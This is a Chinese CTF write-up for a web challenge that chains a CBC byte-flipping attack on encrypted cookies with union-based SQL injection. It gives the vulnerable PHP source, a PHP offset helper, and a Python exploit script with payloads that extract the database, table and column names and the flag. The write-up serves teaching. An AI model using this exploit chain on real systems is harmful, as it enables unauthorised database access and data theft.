知识点
CBC字节翻转攻击
0x01
查看消息头:
得到源码:
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}
define("METHOD", "aes-128-cbc");
这一句提示加密方式是aes-128-cbc
,为后面使用cbc字节翻转做铺垫。
读完源码后,可以大概知道做题流程如下:
- 输入参数id,对id进行过滤,返回base64转码后的iv和cipher;
- 设置cookie中的iv和cipher,重发请求报文,服务器使用iv和cipher以及SECRET_KEY解密得到plain,执行
$sql="select * from users limit ".$info['id'].",0";
。(这里注意如果反序列化失败的话会输出反序列化之前的plain:$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
)问题在于这条语句无论怎样执行都没有返回结果。 - 提交id的时候替换被吃掉的关键词,比如union的其中一个字母,得到cookie中的iv和cipher,进行cbc翻转攻击,得到新的密文;
- 使用旧的iv和新的cipher提交一次得到无法反序列化的plain,通过脚本得到新的iv;
- 提交新的iv和新的cipher,服务器将解密得到我们想要的plain,在执行SQL语句前并不会再次吃掉敏感关键词。
0x02
cbc字节翻转攻击参考:
CBC字符翻转 原理与实战
此攻击方法的精髓在于:通过损坏密文字节来改变明文字节。(注:借助CBC内部的模式)借由此可以绕过过滤器,或者改变用户权限提升至管理员,又或者改变应用程序预期明文以尽猥琐之事。
通过以下php脚本得到需要翻转的字符的位移:
<?php
$payload = "0 2nion select * from ((select 1)a join (select group_concat(table_name) from infromation_schema.tables where table_schema regexp database())b join (select 3)c);";
$info=array('id'=>$payload);
$plain = serialize($info);
for($i=0;$i<strlen($plain);$i++)
{
echo $plain[$i];
if(($i+1)%16==0) echo "<br />";
}
?>
通过以下python脚本进行sql注入:
# -*- coding:utf8 -*-
import base64
import requests
import re
import urllib
url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"
payload ="0 2nion select * from ((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0)
data = {'id':payload}
cookie = requests.post(url,data = data).headers['Set-Cookie']
iv = re.findall(r'iv=(.+),',cookie)[0]
cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))
iv_row =list(base64.b64decode(urllib.unquote(iv)))
cipher_row =list(cipher)
offset =6
cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))
cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))
cookies = {"iv" : iv,"cipher" : cipher_new}
mistake = requests.get(url,cookies = cookies).content
wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])
iv_new =''
plaintext ="a:1:{s:2:\"id\";s:"
for x in range(16):
iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))
iv_new = urllib.quote(base64.b64encode(iv_new))
cookies2 = {"iv" : iv_new,"cipher" : cipher_new}
result = requests.get(url,cookies = cookies2).content
print result
#得到数据库名
payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)
#得到表名
payload ="0 2nion select * from ((select 1)a join (select group_concat(table_name separator '@') from information_schema.tables where table_schema regexp database())b join (select 3)c);"+chr(0)
#得到列名
payload ="0 2nion select * from ((select 1)a join (select group_concat(column_name separator '@') from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0)
#得到flag
payload ="0 2nion select * from ((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0)